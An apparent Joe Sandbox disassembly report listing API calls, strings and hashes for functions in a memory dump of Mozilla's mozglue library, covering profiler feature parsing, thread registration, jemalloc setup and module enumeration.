Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: f5aa1bf0da769bbeb360bbec430f886d5e8dc7aeb1da59747880818381f525c2
Instruction ID: d2cc4dba08e2ff8cb1fdc1250148e3caee2d0161a273321c49d7eebb577c9cf8
Opcode Fuzzy Hash: f5aa1bf0da769bbeb360bbec430f886d5e8dc7aeb1da59747880818381f525c2
Instruction Fuzzy Hash: 34717C75E052198FCB08CFA9D8906EDBBB2FF89354F24812ED815AB741D731A945CB90

Function 6C5ECC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5B582D), ref: 6C5ECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5B582D), ref: 6C5ECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C61FE98,?,?,?,?,?,6C5B582D), ref: 6C5ECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C5ECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C5ECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C5ECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C5ECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C5ECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C5ECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C5ECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C5ECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C5ECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C5ECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C5ECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C5ECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C5ECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C5ECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C5ECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C5ECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C5ECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C5ECE8A

Strings

nativeallocations, xrefs: 6C5ECDA8
mainthreadio, xrefs: 6C5ECC7C
noiostacks, xrefs: 6C5ECCBE
jsallocations, xrefs: 6C5ECD0E
notimerresolutionchange, xrefs: 6C5ECE00
preferencereads, xrefs: 6C5ECD92
fileio, xrefs: 6C5ECC92
Unrecognized feature "%s"., xrefs: 6C5ECEA0
fileioall, xrefs: 6C5ECCA8
default, xrefs: 6C5ECC21
unregisteredthreads, xrefs: 6C5ECE58
ipcmessages, xrefs: 6C5ECDBE
markersallthreads, xrefs: 6C5ECE42
leaf, xrefs: 6C5ECC66
power, xrefs: 6C5ECE84
nostacksampling, xrefs: 6C5ECD7C
audiocallbacktracing, xrefs: 6C5ECDD4
seqstyle, xrefs: 6C5ECCE6
java, xrefs: 6C5ECC37
screenshots, xrefs: 6C5ECCD4
stackwalk, xrefs: 6C5ECCF8
processcpu, xrefs: 6C5ECE6E
samplingallthreads, xrefs: 6C5ECE2C
cpuallthreads, xrefs: 6C5ECE16

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction ID: 393fb66a07737cea417b6c975e6b01fe38d7e650c0b50591e21ee837e370fadf
Opcode Fuzzy Hash: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction Fuzzy Hash: 5A51CCF19092A561FA05B1191E20BEE1C45EF5B24BF106436EE1BA1F80FF06F61949BF

Function 6C5B47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5B4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B482D
__Init_thread_footer.LIBCMT ref: 6C5B484A

Part of subcall function 6C5DAB3F: EnterCriticalSection.KERNEL32(6C62E370,?,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB49
Part of subcall function 6C5DAB3F: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DAB7C

GetCurrentThreadId.KERNEL32 ref: 6C5B485F
GetCurrentThreadId.KERNEL32 ref: 6C5B487E
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B488B
free.MOZGLUE(?), ref: 6C5B493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B4956
free.MOZGLUE(00000000), ref: 6C5B4960
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B499A

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

free.MOZGLUE(?), ref: 6C5B49C6
free.MOZGLUE(?), ref: 6C5B49E9

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B4828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C5B4A42
[I %d/%d] profiler_shutdown, xrefs: 6C5B4A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B4812

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 01b6ec0188181c1f25a9f4af391fae229b4aefee875e6c310a25913df08f3695
Instruction ID: f3ad5d9ad4f67e53582ca730284b80af8bf1982027658d5b877168efa05412ae
Opcode Fuzzy Hash: 01b6ec0188181c1f25a9f4af391fae229b4aefee875e6c310a25913df08f3695
Instruction Fuzzy Hash: 8181E571A00110CBDB20DF69CCA475A7B75FF82318F540629E916A7B42E73AE845CB9F

Function 6C5B4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5B44B2,6C62E21C,6C62F7F8), ref: 6C5B473E
Part of subcall function 6C5B4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5B474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5B44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5B44D2
InitOnceExecuteOnce.KERNEL32(6C62F80C,6C5AF240,?,?), ref: 6C5B451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B455C
LoadLibraryW.KERNEL32(?), ref: 6C5B4592
InitializeCriticalSection.KERNEL32(6C62F770), ref: 6C5B45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5B45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5B45BB
InitOnceExecuteOnce.KERNEL32(6C62F818,6C5AF240,?,?), ref: 6C5B4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5B4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5B4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B466D
VerSetConditionMask.NTDLL ref: 6C5B469F
VerSetConditionMask.NTDLL ref: 6C5B46AB
VerSetConditionMask.NTDLL ref: 6C5B46B2
VerSetConditionMask.NTDLL ref: 6C5B46B9
VerSetConditionMask.NTDLL ref: 6C5B46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5B46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5B46FD

Strings

NativeNtBlockSet_Write, xrefs: 6C5B46F7
Gbl, xrefs: 6C5B44FC
kernel32.dll, xrefs: 6C5B44CD
user32.dll, xrefs: 6C5B4557, 6C5B463F
WRusr.dll, xrefs: 6C5B44B5
l, xrefs: 6C5B4578

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gbl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3324001954
Opcode ID: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction ID: cff88caaebaecf6036a6618cd64cac75ac8956e8d5328bba4cbe5482e6b61ac3
Opcode Fuzzy Hash: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction Fuzzy Hash: 0A615BB0604354AFEB209F62CC85B957FB8EF82308F04855CE545AB641D3BD9945CF5A

Function 6C5EF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C5EF8F9

Part of subcall function 6C5B6390: GetCurrentThreadId.KERNEL32 ref: 6C5B63D0
Part of subcall function 6C5B6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5B63DF
Part of subcall function 6C5B6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5B640E

ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF93A
GetCurrentThreadId.KERNEL32 ref: 6C5EF98A
GetCurrentThreadId.KERNEL32 ref: 6C5EF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF716

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5AB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5AB5E0

GetCurrentThreadId.KERNEL32 ref: 6C5EF739
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF746
GetCurrentThreadId.KERNEL32 ref: 6C5EF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C62385B,00000002,?,?,?,?,?), ref: 6C5EF829
free.MOZGLUE(?,?,00000000,?), ref: 6C5EF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C5EF866
free.MOZGLUE(?), ref: 6C5EFA0C

Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C
Part of subcall function 6C5B5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
Part of subcall function 6C5B5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F53
Part of subcall function 6C5B5E60: GetCurrentThread.KERNEL32 ref: 6C5B5F5C
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F66
Part of subcall function 6C5B5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E

free.MOZGLUE(?), ref: 6C5EF9C5
free.MOZGLUE(?), ref: 6C5EF9DA

Strings

Thread , xrefs: 6C5EF789
" attempted to re-register as ", xrefs: 6C5EF858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C5EF71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C5EF9A6

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction ID: 488dc76d27e11a44d6bbb42f8ababecb44f75b6518541091df13282c4ebfe0a9
Opcode Fuzzy Hash: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction Fuzzy Hash: 22811371A04200DFDB00DF65DC80AAEB7B5EFC9308F40456DE8869BB51EB34AC49CB92

Function 6C5EEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEE60
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE6D
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EEEA5
CloseHandle.KERNEL32(?), ref: 6C5EEEB4
free.MOZGLUE(00000000), ref: 6C5EEEBB
GetCurrentThreadId.KERNEL32 ref: 6C5EEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEECF

Part of subcall function 6C5EDE60: GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
Part of subcall function 6C5EDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B
Part of subcall function 6C5EDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
Part of subcall function 6C5EDE60: free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
Part of subcall function 6C5EDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5EEF1E
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF2B
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF59
GetCurrentThreadId.KERNEL32 ref: 6C5EEFB0
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFBD
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFE1
GetCurrentThreadId.KERNEL32 ref: 6C5EEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF000

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF02F

Part of subcall function 6C5EF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5EF09B
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5EF0AC
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5EF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C5EF008
[I %d/%d] profiler_stop, xrefs: 6C5EEED7

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction ID: 172177a8a43190cfbaa3514cbc59d34977cd7b9451b6a9ebd098c94da342b9c6
Opcode Fuzzy Hash: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction Fuzzy Hash: 1D51FA71600220DFDB009F66DC88B9577B8EF8A358F100A25ED2683B41DBBD5805CBAF

Function 6C5DD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5DD047
GetSystemInfo.KERNEL32(?), ref: 6C5DD093
__Init_thread_footer.LIBCMT ref: 6C5DD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5DD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5DD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5DD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5DD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5DD1B1

Strings

MOZ_CRASH(), xrefs: 6C5DD277
MALLOC_OPTIONS, xrefs: 6C5DD0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5DD322
Compile-time page size does not divide the runtime one., xrefs: 6C5DD26D
<jemalloc>, xrefs: 6C5DD268, 6C5DD311

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 0eab623a80bbb85e0a20f468f38bf53e6c26bb29b4dc454f711cc4ba2cfd2a5d
Instruction ID: 4c71637b38a5332d0e8829e1de787c8766cad640ee74136df4288f0353e2da40
Opcode Fuzzy Hash: 0eab623a80bbb85e0a20f468f38bf53e6c26bb29b4dc454f711cc4ba2cfd2a5d
Instruction Fuzzy Hash: 7481AF70A453019BEB00DFBACC94AA977B5EB86305F11053AE94297B80D77DA805CFAD

Function 6C5B7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C5B8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C5B801D

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C5B802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C5B803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C5B808D

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C5B809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5B80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5B8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C5B8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C5B8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C5B817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B8199

Strings

0>^l, xrefs: 6C5B811E

Memory Dump Source

